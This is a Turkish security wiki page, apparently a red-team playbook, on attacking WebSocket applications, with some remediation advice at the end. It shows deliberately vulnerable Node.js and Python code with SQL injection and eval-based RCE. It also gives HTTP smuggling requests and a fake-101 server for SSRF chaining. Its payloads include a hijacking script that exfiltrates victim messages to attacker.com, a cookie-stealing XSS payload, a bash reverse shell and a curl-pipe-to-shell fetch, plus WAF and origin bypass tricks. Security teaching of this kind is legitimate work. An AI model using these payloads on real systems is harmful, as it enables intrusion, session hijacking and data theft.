AltaySec Wiki WebSockets Security & Advanced Exploitation   ·   AltaySec Araştırmalar

WebSockets Security & Advanced Exploitation

root@altaysec:~# whoami
> Yazar: Emre Ermenek

WebSockets (RFC 6455), modern web uygulamalarında istemci ile sunucu arasında düşük gecikmeli, tam çift yönlü (full-duplex) ve sürekli açık bir TCP bağlantısı kurmak için standart haline gelmiştir. HTTP'nin tek yönlü (stateless) "istek-cevap" (request-response) döngüsünün aksine, WebSocket mimarisinde bağlantı bir kez kurulur ve her iki taraf da asenkron olarak veri (frame) gönderebilir. Red Team perspektifinden WebSockets; geleneksel HTTP tabanlı WAF'ları (Web Application Firewall) atlatmak, ters proxy (reverse proxy) sistemlerinde durum karmaşası (state confusion) yaratmak, kimlik doğrulama mekanizmalarını bypass etmek ve iç ağlara tünellenmiş saldırılar gerçekleştirmek için muazzam bir saldırı yüzeyi sunar.

How It Works (Teknik Analiz)

WebSocket bağlantısı, standart bir HTTP/1.1 isteği ile başlar. İstemci, sunucuya Upgrade: websocket başlığını içeren bir istek göndererek protokolü değiştirmek istediğini belirtir. Bu sürece WebSocket Handshake denir.

Sunucu bu yükseltmeyi (upgrade) destekliyorsa ve kabul ediyorsa, 101 Switching Protocols durum kodunu döndürür. Bu andan itibaren HTTP protokolü sona erer ve aynı TCP soketi üzerinden WebSocket frame'leri (veri paketleri) akmaya başlar.

Güvenlik mekanizmasının temel yapı taşlarından biri olan Sec-WebSocket-Key başlığı, istemci tarafından rastgele üretilen Base64 formatında bir değerdir. Sunucu bu değeri alır, üzerine statik bir GUID (258EAFA5-E914-47DA-95CA-C5AB0DC85B11) ekler, SHA-1 özetini alır, Base64 ile kodlar ve Sec-WebSocket-Accept başlığı ile geri döndürür. Bu işlem bir şifreleme veya güvenlik önlemi değil, yalnızca bağlantının bir proxy tarafından yanlışlıkla önbelleğe alınmasını engellemek için tasarlanmış bir doğrulama adımıdır.

Mimari düzeyde zafiyetler genellikle şu noktalarda ortaya çıkar:

  1. State Confusion (Durum Karmaşası): Ön uçtaki Proxy'nin (Varnish, Nginx, HAProxy) bağlantının WebSocket'e yükseltildiğini sanması, ancak arka ucun (Backend) hala HTTP beklemesi (veya tam tersi).
  2. Kimlik Doğrulama Eksikliği: HTTP Handshake sırasında çerezler (cookies) otomatik olarak gönderilse de, WebSocket protokolünün kendi içinde bir yetkilendirme standartı yoktur. Çoğu geliştirici bağlantı kurulduktan sonra mesajların yetkilerini kontrol etmeyi unutur.
  3. Veri Doğrulama (Sanitization): HTTP istekleri WAF tarafından taranırken, WebSocket tüneli açıldıktan sonra geçen ikili (binary) veya metin tabanlı (opcode 0x1) veriler genellikle denetimsiz bırakılır.

Vulnerable Code Patterns

Geliştiricilerin WebSocket implementasyonlarında sıkça yaptığı ölümcül hatalar:

Pattern 1: Origin Doğrulamasının Olmaması (Node.js / ws) - CSWSH Zafiyeti Aşağıdaki kod, bağlantıyı başlatan istemcinin hangi domain'den geldiğini (Origin başlığını) kontrol etmez. Bu durum Cross-Site WebSocket Hijacking (CSWSH) saldırısına davetiye çıkarır.

const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', function connection(ws, req) {
  // ZAFİYET: req.headers.origin kontrol edilmiyor!
  // Herhangi bir domain'den gelen bağlantı kabul ediliyor.
  
  ws.on('message', function incoming(message) {
    // ZAFİYET: Gelen veri doğrudan JSON.parse() ile alınıyor ancak
    // şema doğrulaması (schema validation) yapılmıyor.
    let data = JSON.parse(message);
    db.query(`SELECT * FROM users WHERE id = ${data.id}`); // SQL Injection
  });
});

Pattern 2: eval() veya Tehlikeli Fonksiyonların Kullanımı (Python) Gelen verinin tipini doğrulamadan doğrudan işletim sistemine veya yorumlayıcıya göndermek.

import asyncio
import websockets
import json

async def handler(websocket, path):
    async for message in websocket:
        data = json.loads(message)
        # ZAFİYET: Uzaktan Kod Çalıştırma (RCE)
        # Gelen payload doğrudan eval() fonksiyonuna besleniyor.
        result = eval(data['command']) 
        await websocket.send(str(result))

start_server = websockets.serve(handler, "localhost", 8765)

Detection & Enumeration (Keşif ve Analiz)

WebSocket uç noktalarını (endpoints) tespit etmek için salt pasif analiz yeterli değildir, aktif fuzzing ve protokol manipülasyonu gerekir.

Attack Vectors & Exploitation (İstismar Vektörleri)

HTTP Request Smuggling via WebSockets (Bozuk Tüneller)

Modern mimarilerde istemci ile Backend arasında Varnish, Nginx gibi ters proxy'ler bulunur. Proxy, Upgrade isteğini backend'e ilettiğinde, backend'in vereceği yanıtı beklemeden TCP bağlantısını "Tünel" (Tunnel) moduna geçirirse zafiyet doğar.

  1. Saldırgan Sec-WebSocket-Version: 777 gibi geçersiz bir başlık gönderir.
  2. Proxy bunu Backend'e iletir ve bağlantıyı WebSocket'e yükselttiğini zannederek TCP tünelini açar.
  3. Backend sürümü desteklemediği için 426 Upgrade Required döner ve HTTP protokolünde kalmaya devam eder.
  4. Proxy artık içeriğe bakmadan her şeyi Backend'e aktardığı için, saldırgan bu tünelin içine ikinci bir HTTP isteği (Smuggled Request) sokar. Backend bu isteği sanki yetkili bir iç ağ isteğiymiş gibi işler (örn: WAF kısıtlamalarını aşarak /flag dizinine erişim).

Proxy Deception & SSRF Chaining (Nginx Bypass)

Eğer Proxy (örn: Nginx) durumu doğruluyorsa (yani Backend'den kesinlikle 101 Switching Protocols yanıtı bekliyorsa), basit smuggling çalışmaz. Bu durumda Proxy'yi kandırmak (Trick) gerekir. Uygulamada bir SSRF (Server-Side Request Forgery) zafiyeti varsa:

  1. Saldırgan, internete açık kendi sunucusunda her isteğe 101 Switching Protocols dönen sahte bir servis ayağa kaldırır.
  2. Hedefteki SSRF uç noktasına (örn: /check-url?server=http://attacker.com/fake-ws) bir istek gönderir ve bunu bir WebSocket Upgrade isteğinin içine gömer.
  3. Proxy bu isteği Backend'e iletir. Backend, SSRF tetiklendiği için saldırganın sunucusuna gider, 101 yanıtını alır ve Proxy'ye geri yansıtır.
  4. Proxy 101 yanıtını görünce TCP tünelini açar. Ancak gerçekte ortada bir WebSocket yoktur! Saldırgan artık Smuggled HTTP isteklerini tünel üzerinden Backend'e pompalayabilir.

Cross-Site WebSocket Hijacking (CSWSH)

WebSocket el sıkışması HTTP üzerinden yapılır. Eğer oturum yönetimi sadece HTTP Çerezleri (Cookies) ile yapılıyorsa ve CSRF token veya sıkı Origin doğrulaması yoksa: Saldırgan bir web sitesi hazırlar. Kurban bu siteye girdiğinde, saldırganın yazdığı JavaScript kodu hedef sunucuya wss://target.com/chat adresine bağlantı açar. Tarayıcı, kurbanın çerezlerini otomatik olarak gönderdiği için bağlantı yetkili olarak açılır. HTTP CSRF'ten farklı olarak, WebSocket çift yönlü olduğu için saldırgan SADECE istek göndermekle kalmaz, kurbanın tüm özel mesajlarını veya verilerini okuyabilir.

DOM-Based XSS via WebSockets

WebSocket üzerinden gelen veriler istemci tarafında (tarayıcıda) doğrudan DOM'a yazılıyorsa (örn: element.innerHTML = message.data), saldırgan WebSocket kanalına zararlı JavaScript kodları enjekte edebilir. Bu kod, diğer kullanıcıların tarayıcılarında çalışarak oturumlarını ele geçirir.

Command & SQL Injection over WebSockets

WebSocket tüneli WAF (Web Application Firewall) tarafından incelenemediği için (Deep Packet Inspection desteği yoksa), saldırgan standart SQL Injection veya Command Injection payload'larını JSON formatında (örn: {"id": "1 OR 1=1"}) doğrudan Backend veri tabanına veya işletim sistemine aktarabilir.

Ticket-Based Auth Bypass & Connection Exhaustion (DoS)

WebSocket bağlantılarında kimlik doğrulama genellikle ilk handshake sırasında query string (ws://api.com/?token=abc) üzerinden yapılır.

Payloads & Advanced Commands

Request Smuggling Payloads (Varnish / Blind Proxy)

Update Content-Length ayarı kapatılarak (Burp Suite) gönderilmelidir. İlk istekten sonraki 2 satır boşluk (\r\n\r\n) kritiktir.

GET /socket HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 777
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

GET /admin/hidden-endpoint HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1

SSRF to WebSocket Smuggling (Nginx / Strict Proxies)

Adım 1: Saldırgan Sunucusunda 101 Dönen Servisi Başlatma

# attacker_server.py
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class FakeWebSocket(BaseHTTPRequestHandler):
    def do_GET(self):
        self.protocol_version = "HTTP/1.1"
        self.send_response(101)
        self.end_headers()

HTTPServer(("0.0.0.0", 5555), FakeWebSocket).serve_forever()

Adım 2: SSRF Zafiyetli Uç Noktayı Suistimal Eden Smuggling İsteği

GET /check-url?server=http://[ATTACKER_IP]:5555 HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==

GET /flag HTTP/1.1
Host: target.com

Cross-Site WebSocket Hijacking (CSWSH) Payloads

Kurbanın oturumunu ele geçiren ve gelen WebSocket mesajlarını saldırganın sunucusuna exfiltre eden zararlı HTML/JS dosyası.

<script>
    // Hedef WebSocket sunucusuna kurbanın çerezleriyle bağlantı aç
    var ws = new WebSocket('wss://target-app.com/socket');
    
    ws.onopen = function() {
        // Oturumu tetikleyecek bir komut gönder (uygulamanın API'sine göre değişir)
        ws.send(JSON.stringify({action: "get_sensitive_data"}));
    };
    
    ws.onmessage = function(event) {
        // Gelen hassas veriyi saldırganın webhook sunucusuna sızdır
        fetch('https://attacker.com/log', {
            method: 'POST',
            mode: 'no-cors',
            body: event.data
        });
    };
</script>

In-Band Injection & XSS Payloads over WebSockets

WebSocket üzerinden kurulan interaktif shell'ler (örn: wscat) kullanılarak gönderilebilecek payload varyasyonları:

XSS Payloads (JSON Message Body):

{"type": "chat", "message": "<img src=x onerror='fetch(\"http://attacker.com/?c=\"+document.cookie)'>"}
{"user_bio": "\u003cscript\u003ealert(origin)\u003c/script\u003e"}

SQL Injection Payloads (Bypass WAF via WS):

{"id": "1' UNION SELECT username, password FROM users-- -"}
{"query": "admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -"}

Command Injection (RCE) Payloads:

{"action": "ping", "target": "127.0.0.1; bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"}
{"log_file": "$(curl http://attacker.com/shell.sh | sh)"}

Automation & Tooling Commands

wscat ve websocat gibi araçlarla CLI üzerinden WS pentest otomasyonu:

# Temel bağlantı (Header manipülasyonu ile)
wscat -c wss://target.com/chat -H "Origin: https://trusted.com" -H "X-Forwarded-For: 127.0.0.1"

# Kimlik doğrulama bypass denemesi için farklı origin ile bağlanma
websocat wss://target.com/api --header "Origin: null"

# Fuzzing için wfuzz kullanımı (wscat ile pipe edilerek)
wfuzz -c -z file,payloads.txt -d '{"command":"FUZZ"}' http://localhost:8080/ (Script adaptasyonu gerekir)

Bypass & Obfuscation (Atlatma Teknikleri)

  1. Origin Spoofing: CSWSH korumalarını aşmak için Origin başlığını manipüle etmek. Sık yapılan regex hatalarını suistimal edin:
    • İzin verilen: https://target.com
    • Bypass: https://target.com.attacker.com veya Origin: null
  2. WebSocket Frame Fragmentation: Modern WAF'lar WebSocket trafigini izleyebiliyorsa, zararlı payload'u tek bir mesaj (frame) yerine, Continuation Frames (Opcode 0x0) kullanarak byte byte bölerek (fragmante ederek) gönderin. IDS/IPS imzaları bu parçalanmış veriyi birleştiremeyeceği için bypass gerçekleşir.
  3. JSON Unicode & Double Encoding: WebSocket içindeki payload'lar JSON parse ediliyorsa, karakterleri unicode (\u0027 -> ', \u003c -> <) şeklinde encode ederek basit filtreleri atlatın.
  4. Header Injection: WAF veya Rate Limiter'ları aşmak için Handshake sırasında X-Forwarded-For, X-Real-IP ve Client-IP başlıklarını ekleyerek her bağlantıda IP rotasyonunu simüle edin.

Remediation & Prevention (Önleme ve Savunma)

  1. Transport Security: Üretim ortamlarında KESİNLİKLE düz ws:// kullanılmamalıdır. Veri sızıntısını ve MITM saldırılarını engellemek için sadece wss:// (WebSockets over TLS) kullanılmalıdır.
  2. Strict Origin Validation (Sıkı Köken Doğrulaması): Handshake sırasında gelen Origin başlığı kesinlikle doğrulanmalıdır. Regex yerine Allowlist (İzin Verilenler Listesi) yaklaşımı kullanılmalı ve wildard (*) kullanılmamalıdır.
  3. Ticket-Based Authentication: Çerez tabanlı (Cookie) kimlik doğrulama yerine, kısa ömürlü, tek kullanımlık biletler (Ticket/Token) kullanılmalıdır. İstemci önce HTTP üzerinden bir bilet alır, ardından WebSocket bağlantısını kurarken bu bileti iletir.
  4. Input Sanitization & Schema Validation: İstemciden gelen veriler eval() gibi tehlikeli fonksiyonlara ASLA verilmemelidir. Veriler kesinlikle JSON.parse() ile parse edilmeli ve JSON Schema validator (örn: Ajv) ile yapısal olarak (tip, uzunluk, format) doğrulanmalıdır.
  5. Proxy Configuration: Varnish, Nginx veya HAProxy gibi ters proxy'lerde HTTP/1.1 Upgrade yönergeleri doğru yapılandırılmalı, protokol düşürme (downgrade) saldırılarına karşı Connection: Upgrade başlıkları sıkı denetlenmelidir.
  6. Rate Limiting & Resource Management: DoS saldırılarını önlemek için IP başına düşen maksimum WebSocket bağlantı sayısı kısıtlanmalı, maksimum mesaj boyutu (Payload Size Limit - örn: 64KB) belirlenmeli ve Ping/Pong frame'leri kullanılarak ölü (zombie) bağlantılar (Idle Timeout) temizlenmelidir.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Burp Suite (Pro) WS history analizi, CSWSH üretimi, Repeater ile Handshake manipülasyonu (UI tabanlı, komut yok)
wscat CLI tabanlı WebSocket istemcisi, interaktif pentest ve payload gönderimi wscat -c wss://target -H "Origin: a.com"
websocat Netcat'in WebSocket versiyonu, port yönlendirme ve tünelleme işlemleri websocat wss://target.com/ws -
ZAP (OWASP) Otomatik WebSocket zafiyet taraması ve fuzzer desteği (UI tabanlı, komut yok)
Python (websockets) SSRF Bypass için özel sahte 101 servisleri ve istismar scriptleri yazımı python3 -m websockets wss://target
SteWS WebSocket üzerinden yapılandırılmış zafiyet tarama aracı (Advanced pentesting) stews --url wss://target.com/

Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv